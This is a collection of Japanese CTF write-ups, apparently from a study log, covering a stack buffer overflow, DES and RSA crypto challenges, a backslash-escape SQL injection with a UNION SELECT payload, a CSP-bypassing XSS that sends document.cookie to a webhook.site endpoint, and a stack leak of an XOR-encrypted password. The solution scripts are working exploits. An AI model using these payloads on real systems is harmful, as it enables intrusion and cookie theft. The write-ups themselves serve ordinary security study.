sizeof(buf) = sizeof(char) * 0x20 = 0x20 なので、buf の長さを超えた入力を与えてバッファオーバーフローさせる。リターンアドレスを書き変えて getval 実行後の戻り先を (main ではなく) win にするとよさそう。

プログラムに 'abcdef' を入力したときのスタックの状態を見よう。0x7fffffffdaf0 から buf が始まり、0x7fffffffdb1f からの 8 バイトがリターンアドレスっぽい。

$ gdb -q ./chall
(gdb) info functions
...
0x00000000004011b6  win
0x00000000004011f0  getval
0x0000000000401264  main
...
(gdb) x/28i getval
...
   0x401251 <getval+97>:        call   0x4010a0 <read@plt>
   0x401256 <getval+102>:       lea    -0x20(%rbp),%rax
   0x40125a <getval+106>:       mov    %rax,%rdi
=> 0x40125d <getval+109>:       call   0x4010c0 <atoll@plt>
...
(gdb) break *(getval+109)
(gdb) run < <(echo -n 'abcdef')
(gdb) x/20xw $sp
0x7fffffffdae0: 0xf7fc1000      0x00007fff      0x0040200c      0x00000000
0x7fffffffdaf0: 0x64636261      0x00006665      0x00000000      0x00000000
0x7fffffffdb00: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdb10: 0xffffdb20      0x00007fff      0x0040127b      0x00000000
0x7fffffffdb20: 0x00000001      0x00000000      0xf7db6d90      0x00007fff

解答例

import pwn

conn = pwn.remote("34.170.146.252", 49927)
# conn = pwn.process(./chall")
win_addr = 0x004011B6
conn.sendlineafter(b"value: ", b"\x00" * 0x28 + pwn.p64(win_addr))
conn.interactive()
ikdikd

RTACTF 2023 Collision-DES

https://alpacahack.com/ctfs/rtactf-2023-spring/challenges/collision-des

server.py
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import os

FLAG = os.getenv("FLAG", "RTACTF{**** REDACTED ****}")

def encrypt(key, plaintext):
    cipher = DES.new(key, DES.MODE_ECB)
    return cipher.encrypt(pad(plaintext, 8))

if __name__ == '__main__':
    key1 = os.urandom(8)
    print(f"Key 1: {key1.hex()}")
    key2 = bytes.fromhex(input("Key 2: "))

    assert len(key1) == len(key2) == 8, "Invalid key size :("
    assert len(set(key1).intersection(set(key2))) == 0, "Keys look similar :("

    plaintext = b"The quick brown fox jumps over the lazy dog."
    if encrypt(key1, plaintext) == encrypt(key2, plaintext):
        print("[+] You found a collision!")
        print(FLAG)
    else:
        print("[-] Nope.")

(バイト単位で) 異なる鍵で同じ暗号文を出力することが求められる。

DES について調べると 8 バイト = 64 ビットの鍵のうち 8 ビットは暗号化に使われないパリティビットらしい。1 バイトごとに最後のビットがパリティビットのようなのでそこだけ反転したものを鍵にする。

解答例

import pwn

conn = pwn.remote("34.170.146.252", 39720)
# conn = pwn.process(["python", "server.py"])
key1 = conn.recvline().replace(b"Key 1: ", b"").rstrip()

# http://www.arch.cs.kumamoto-u.ac.jp/~kuga/cad/crypt/des/
# parity bit を xor して変える
key2 = "%016x" % (int(key1, 16) ^ 0x0101010101010101)

conn.sendlineafter(b"Key 2: ", key2.encode())
assert conn.recvline() == b"[+] You found a collision!\n"
flag = conn.recvline()
print(f"{flag=}")
ikdikd

CakeCTF 2022 brand new crypto

https://alpacahack.com/ctfs/cakectf-2022/challenges/brand-new-crypto

task.py
from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os

flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()


def keygen():
    p = getPrime(512)
    q = getPrime(512)

    n = p * q
    phi = (p-1)*(q-1)

    while True:
        a = getRandomRange(0, phi)
        b = phi + 1 - a

        s = getRandomRange(0, phi)
        t = -s*a * inverse(b, phi) % phi

        if GCD(b, phi) == 1:
            break
    return (s, t, n), (a, b, n)


def enc(m, k):
    s, t, n = k
    r = getRandomRange(0, n)

    c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
    assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
    assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
    return m * pow(r, s, n) % n, m * pow(r, t, n) % n


def dec(c1, c2, k):
    a, b, n = k
    return pow(c1, a, n) * pow(c2, b, n) % n


pubkey, privkey = keygen()

c = []
for m in flag:
    c1, c2 = enc(m, pubkey)
    assert dec(c1, c2, privkey)

    c.append((c1, c2))

print(pubkey)
print(c)

公開鍵を s, t として、平文 m をバイト単位で

  • c_1 := m r^s \pmod{n}
  • c_2 := m r^t \pmod{n}

と暗号化している。r はランダム。

r が消えるように c_1^t / c_1^s を計算すると m^{t-s} になる。いい感じの暗号なのでこれを満たす m は一意に決まるはず。0 〜 255 を全て試す。

解答例

s, t, n = (44457996541109264543284111178082553410419033332933855029363322091957710753242917508747882680709132255025509848204006030686617307316137416397450494573423244830052462483843567537344210991076324207515569278270648840208766149246779012496534431346275624249119115743590926999300158062187114503770514228292645532889, 75622462740705359579857266531198198929612563464817955054875685655358744782391371293388270063132474250597500914288453906887121012643294580694372006205578418907575162795883743494713767823237535100775877335627557578951318120871174260688499833942391274431491217435762560130588830786154386756534628356395133427386, 91233708289497879320704164937114724540200575521246085087047537708894670866471897157920582191400650150220814107207066041052113610311730091821182442842666316994964015355215462897608933791331415549840187109084103453994140639503367448406813551512209985221908363575016455506188206133500417002509674392650575098359)
cs = [
    (45407329054347031671462943733352990423405785239871852919766388653716380674478315503174214528590036701783624146580550794165374415239306839525663023158300526837557014080909086170028906592103649042424746066914113525159948460918940298801848524927126031315219782495938440479872531059016544239798079080583435425272, 53803936997086552930627817379668506302893396793752623708360134917132605596928214528571105049705120619752149234071083180369925875862051592731789425096964405472100251718476911662256938722325188400861316756367788140688700177508892203256571533937287519223938863342057635289100232219250241102383398900866693695652),
    (43655057390335874506424383722663749879268247658758301232763211203219034349589651957189919237836443955915188039020164771364408742547530334210779314381716283732476569324383808908588686811442984537157164133686423953400300793137466630580146269650901652256761231520608826151296619038805828021253934922305783052068, 22233195992702924578524207396162236484139847008812639391463164055567886910452393492091463760246536738125831803192662206571576172793920367252270085750654989763310242365985521455667232114869169344954690807107158884655752698402756382223555567145081598370775906153285079937174531239253543407433367582200836610175), 
    # ...
    # 長いので省略
]

flag = ""
for c1, c2 in cs:
    # c1^t / c2^s = m^(t-s)
    x = pow(c1, t, n) * pow(c2, -s, n) % n
    f = None
    for m in range(256):
        if pow(m, t - s, n) == x:
            assert f is None
            f = m
    assert f is not None
    flag += chr(f)
    print(flag)
ikdikd

CakeCTF 2022 frozen cake

https://alpacahack.com/ctfs/cakectf-2022/challenges/frozen-cake

task.py
from Crypto.Util.number import getPrime
import os

flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
m = int(flag.encode().hex(), 16)

p = getPrime(512)
q = getPrime(512)

n = p*q

print("n =", n)
print("a =", pow(m, p, n))
print("b =", pow(m, q, n))
print("c =", pow(m, n, n))

n, a, b, c が与えられる。

  • n := pq
  • a := m^p \pmod{n}
  • b := m^q \pmod{n}
  • c := m^n \pmod{n}

オイラーの定理から m^{\phi(n)} \equiv 1 \pmod{n} が成り立つのでこれを変形していけば m が出てきそう。

m^{\phi(n)} \equiv m^{(p - 1) (q - 1)} \equiv m^{pq} (m^{p})^{-1} (m^{q})^{-1} m \equiv ca^{-1}b^{-1}m

解答例

n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549

m = (a * b * pow(c, -1, n)) % n
flag = bytes.fromhex(hex(m)[2:])
print(flag)
ikdikd

Alpaca Hack Round 2 Simple Login

https://alpacahack.com/ctfs/round-2/challenges/simple-login

app.py
from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

ユーザー入力の username, password でクエリを組み立てているところを狙えそう。

f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

username にシングルクォートを含めると「Do not try SQL injection 🤗」で弾かれる。

バックスラッシュ \ を付けて {username} 終わりのシングルクォートをエスケープしよう。{password} 始まりのシングルクォートまでを username = '...' が消費してくれる。

SELECT * FROM users WHERE username = 'uuuu\' AND password = '{password}'
--                                    ^^^^^^^^^^^^^^^^^^^^^^

あとは password のプレースホルダーに、flag テーブルからフラグを SELECT する SQL を書くと解ける。

解答例

form = new FormData();
form.append("username", "\\");
form.append("password", " UNION ALL SELECT value, NULL FROM flag -- ");
resp = await fetch("/login", { method: "POST", body: form });
await resp.text();
ikdikd

Project SEKAI CTF 2024 Tagless

https://2024.ctf.sekai.team/challenges/#Tagless-23

<script> などのタグは sanitizeInput で消されるのでタグなしで JavaScript を実行したい。

タグを閉じなくても良い具合に補完してくれる。しかし JavaScript URL は CSP で弾かれるので動かない。

[GET] /?auto_input=<iframe src="javascript:alert(123)"

=> Refused to run the JavaScript URL because it violates the following Content Security Policy directive: "script-src 'self'".

Not Found ページはパスの文字列をほぼそのまま返している。このページを JavaScript とみなして読み込もう。CSP は script-src: 'self' になっているので問題なく実行できる。

完全なタグが出てこないように >%26gt; などの変換をしておく。

[GET] /?auto_input=<iframe%20srcdoc="<script%20src=%27/**/alert(123)//%27%26gt;<%2Fscript%26gt;"

alert(123) の部分を外部に cookie 送信するコードに変えて完成。

解答例

form = new FormData();
form.append(
    "url",
    // http://127.0.0.1:5000/?auto_input=<iframe srcdoc="<script src='/**/navigator.sendBeacon(`https://webhook.site/xxxxxx/`,document.cookie)//'></script>"
    "http://127.0.0.1:5000/?auto_input=<iframe%20srcdoc=%22<script%20src=%27/**/navigator.sendBeacon(%60https://webhook.site/xxxxxx/%60,document.cookie)//%27%26gt;</script%26gt;%22")
)
await fetch("/report", { method: "POST", body: form });

iframe 使わずにこういう方針でもいけた。

何に使うんだろうと思っていた fulldisplay パラメータが活きる。これを付けると別タブで開くので <script src="..." の読み込みがおこなわれるようだった。

[GET] /?fulldisplay=1&auto_input=<script src="/**/alert(123)//"
ikdikd

TSG CTF 2024 Password-Ate-Quiz

https://score.ctf.tsg.ne.jp/challenges

chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void crypting(long long* secret, size_t len, long long key) {
	for (int i = 0; i < (len - 1) / 8 + 1; i++) {
		secret[i] = secret[i] ^ key;
	}
}

void output_flag() {
	char flag[100];
	FILE *fd = fopen("./flag.txt", "r");
	if (fd == NULL) {
		puts("Could not open \"flag.txt\"");
		exit(1);
	}
	fscanf(fd, "%99s", flag);
	printf("%s\n", flag);
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);

	char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
	char password[0x20];
	char input[0x20];
	

	srand(time(0));
	long long key = ((long long)rand() << 32) | rand();

	FILE *fd = fopen("password.txt", "r");
	if (fd == NULL) {
		puts("Could not open \"password.txt\"");
		exit(1);
	}

	fscanf(fd, "%31s", password);
	size_t length = strlen(password);
	crypting((long long*)password, 0x20, key);

	printf("Enter the password > ");
	scanf("%31s", input);

	crypting((long long*)input, 0x20, key);

	if (memcmp(password, input, length + 1) == 0) {
		puts("OK! Here's the flag!");
		output_flag();
		exit(0);
	}

	puts("Authentication failed.");
	puts("You can get some hints.");
	
	while (1) {
		int idx;
		printf("Enter a hint number (0~2) > ");
		if (scanf("%d", &idx) == 1 && idx >= 0) {
			for (int i = 0; i < 8; i++) {
				putchar(hints[idx][i]);
			}
			puts("");
		} else {
			break;
		}
	}

	while (getchar()!='\n');

	printf("Enter the password > ");
	scanf("%31s", input);

	crypting((long long*)input, 0x20, key);

	if (memcmp(password, input, length + 1) == 0) {
		puts("OK! Here's the flag!");
		output_flag();
	} else {
		puts("Authentication failed.");
	}

	return 0;
}

password.txt に書かれた文字列を入力するとフラグを得られるという問題。

password.txt は秘密だけど変数 password はスタックにある。gdb を使うと「Enter a hint number (0~2) > 」に 4, 5, 6, 7 を入れるとパスワードを 8 バイトずつ読みとれることが分かる。

しかし、このパスワードは crypting で暗号化された値。暗号化の処理は、実行時にランダムに決める 64 ビット整数のキーと xor するもの。

このキーを求めよう。スタックには password の他にこちらが入力した文字列を持つ input もあり、これも暗号化された値を知れる。手元には暗号化前後の input の値があるので 8 バイト取りだして xor するとキーが分かる。

キーを得られたのでパスワードを復号して送信するとフラグを得られた。

解答例

import pwn

conn = pwn.remote("34.146.186.1", 41778)
# conn = pwn.process("./chall")
conn.sendlineafter(b"Enter the password > ", b"\x00" * 31)

conn.recvuntil(b"Enter a hint number (0~2) > ")

enc_password = []
for i in range(4, 8):
    conn.sendline(str(i).encode())
    # 途中で b"\n" が来ることがあるので recvline() だとダメ
    enc_password.append(conn.recvuntil(b"\nEnter a hint number (0~2) > ", drop=True))

enc_input = []
for i in range(8, 12):
    conn.sendline(str(i).encode())
    enc_input.append(conn.recvuntil(b"\nEnter a hint number (0~2) > ", drop=True))

conn.sendline(b"-1")

key = int.from_bytes(enc_input[0])
# key = int.from_bytes(enc_input[0]) ^ int.from_bytes(b"\x00" * 8)

password = []
for e in enc_password:
    password.append((int.from_bytes(e) ^ key).to_bytes(8))
# 末尾に b"\x00" があるとフラグが出てこないので削除
conn.sendlineafter(b"Enter the password > ", b"".join(password).rstrip(b"\x00"))

flag = conn.recvall()
print(flag)

conn.close()
ikdikd

AlpacaHack Round 11 Jackpot

https://alpacahack.com/ctfs/round-11/challenges/jackpot

app.py
from flask import Flask, request, render_template, jsonify
from werkzeug.exceptions import BadRequest, HTTPException
import os, re, random, json

app = Flask(__name__)
FLAG = os.getenv("FLAG", "Alpaca{dummy}")


def validate(value: str | None) -> list[int]:
    if value is None:
        raise BadRequest("Missing parameter")
    if not re.fullmatch(r"\d+", value):
        raise BadRequest("Not decimal digits")
    if len(value) < 10:
        raise BadRequest("Too little candidates")

    candidates = list(value)[:10]
    if len(candidates) != len(set(candidates)):
        raise BadRequest("Not unique")

    return [int(x) for x in candidates]


@app.get("/")
def index():
    return render_template("index.html")


@app.get("/slot")
def slot():
    candidates = validate(request.args.get("candidates"))

    num = 15
    results = random.choices(candidates, k=num)

    is_jackpot = results == [7] * num  # 777777777777777

    return jsonify(
        {
            "code": 200,
            "results": results,
            "isJackpot": is_jackpot,
            "flag": FLAG if is_jackpot else None,
        }
    )


@app.errorhandler(HTTPException)
def handle_exception(e):
    response = e.get_response()
    response.data = json.dumps({"code": e.code, "description": e.description})
    response.content_type = "application/json"
    return response


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=3000)

スロットで 15 個の 7 を揃える問題。

抽選候補として placeholder にある "0123456789" を与えると 7 が揃う確率が 1e-15 ととても小さくなり現実的でない。"7777777777" だとそれぞれの数字が unique でないということで validate でエラーになる。

正規表現 \d にマッチして int(x) = 7 になるような xx = '7' 以外にたくさんあれば抽選候補を全部 7 にできて確実に 15 個揃えられる。Unicode を検索すると U+0667 など色々と見つかったのでこれらを使うと良い。 https://unicodeplus.com/search?q=seven

解答例

import requests

candidates = "".join(
    [
        "\u0037",
        "\u0667",
        "\u06f7",
        "\u07c7",
        "\u096d",
        "\u09ed",
        "\u0a6d",
        "\u0aed",
        "\u0b6d",
        "\u0bed",
    ]
)

resp = requests.get(
    url="http://34.170.146.252:33352/slot", params={"candidates": candidates}
)
print(resp.json())  # {'flag': '...'}
ikdikd

AlpacaHack Round 12 RSARSARSARSARSARSA

https://alpacahack.com/ctfs/round-12/challenges/rsarsarsarsarsarsa

chall.py
from math import gcd
import os
from Crypto.Util.number import getPrime, bytes_to_long

e = 19
while True:
    p = getPrime(2048)
    q = getPrime(2048)
    if gcd((p - 1) * (q - 1), e) == 1:
        break
n = p * q

flag = os.environ.get("FLAG", "Alpaca{**** REDACTED ****}")
assert len(flag) == 26 and flag.startswith("Alpaca{") and flag.endswith("}")

m = bytes_to_long((flag * 1337).encode())
c = pow(m, e, n)

print(f"{n = }")
print(f"{e = }")
print(f"{c = }")

flag を 1337 回連結した文字列 m を暗号化している。

たとえば flag = "ABC" = 0x414243 を 3 回連結すると 0x414243414243414243 になる。これは次の 3 つの和なので m は 0x414243 × ■ の形で書ける。

0x414243000000000000
0x000000414243000000
0x000000000000414243

m を e 乗した値 c が与えられているので、そこから flag の e 乗を c / ■^e と計算できる。e 乗根を二分探索して flag を得られた。

解答例

from math import gcd
from Crypto.Util.number import inverse, long_to_bytes

n = 434245275129793896913302623186216967500119715299127153234221039838158526818290666891561167619572507897277032319251523352710966722158326513857889678449160348496647427753832233179173745189495799707833020232209447520485615893168704144655033371807912826948460011240258726843346618328839282439390863464375320181495406806870462330735361196286553150480225927729088313551861682406252457739974850015509783430978939475350707211461876140420181118923743456062581297038004651412953310377554877499792225388059857865550418697212704277742826280689987165702071346542831836616149138379224837551040036947064990027047482745931141458056028719767845142490618375017582275824317241572815337810658684051187938258804346960781372035972758516593800419459342799854863845667715099378564373594732798224797622583907677749880918106223965727445907355069025939554400938193579295415911074889648122298896605189398591684277376327938718166279159875826993866460251900514487349848332991005775574378131897581182876147580659857596204121970624162722935263271888969020482566142620134100258216288390250174699829806817678453601913377347867137739622906815272561714188564065071077762169177825466514512198167566882661748389120146622447920498988341055543170346944366105037929197965527
e = 19
c = 78338816976998323261765735600063671710448529902850366859501110834174319629348492230679353792803618614020892663940158627385470036549819116375194598599193512981265682997072278631964394686243958989105159463105190885437258093111178664394786430767942639437287236999171486583513816766766869843448941665224796216610702708658300011987744401747551989248270799179750556330952646223694000679475842632497149402602469848595868051660228892506097962300820851000134370939783634534516434054009303981106884637932006844265722691022870174977860945699441650254771777451995160642261482879537396171107016491225773397809485749640163676209732235156461483660111845782227127763086286553520914359194795617080980736767821995556156173267185240945707717461037831992544868933876015548419376861213017988005848033349136839971120363078490938026883354839573512645985195570831018461470031329716026531550172207332072481279548470657090575709419245114386419567236219816237412255505882075283974654569995321334498673793010812162088796252555619242463561750801895032793870706949913548310632113206159695535952422316840587214237406730422405058644629458566515378607614900910335034732797410592671297941526063690060922625005949094383664832255082556088451940780657576420871470920836

L = 26  # = len(flag)
K = 1337

# M = bytes_to_long(flag.encode())
# M ** e = c / (sum(...) ** e)

s = sum([256 ** (L * i) for i in range(K)])
assert gcd(s ** e, n) == 1

M_e = c * inverse(s ** e, n) % n

low, high = 0, 256 ** L
assert M_e < high ** e
while low + 1 < high:
    mid = (low + high) // 2
    if M_e < mid ** e:
        high = mid
    else:
        low = mid
assert M_e == low ** e

flag = long_to_bytes(low)
print(f"{flag = }")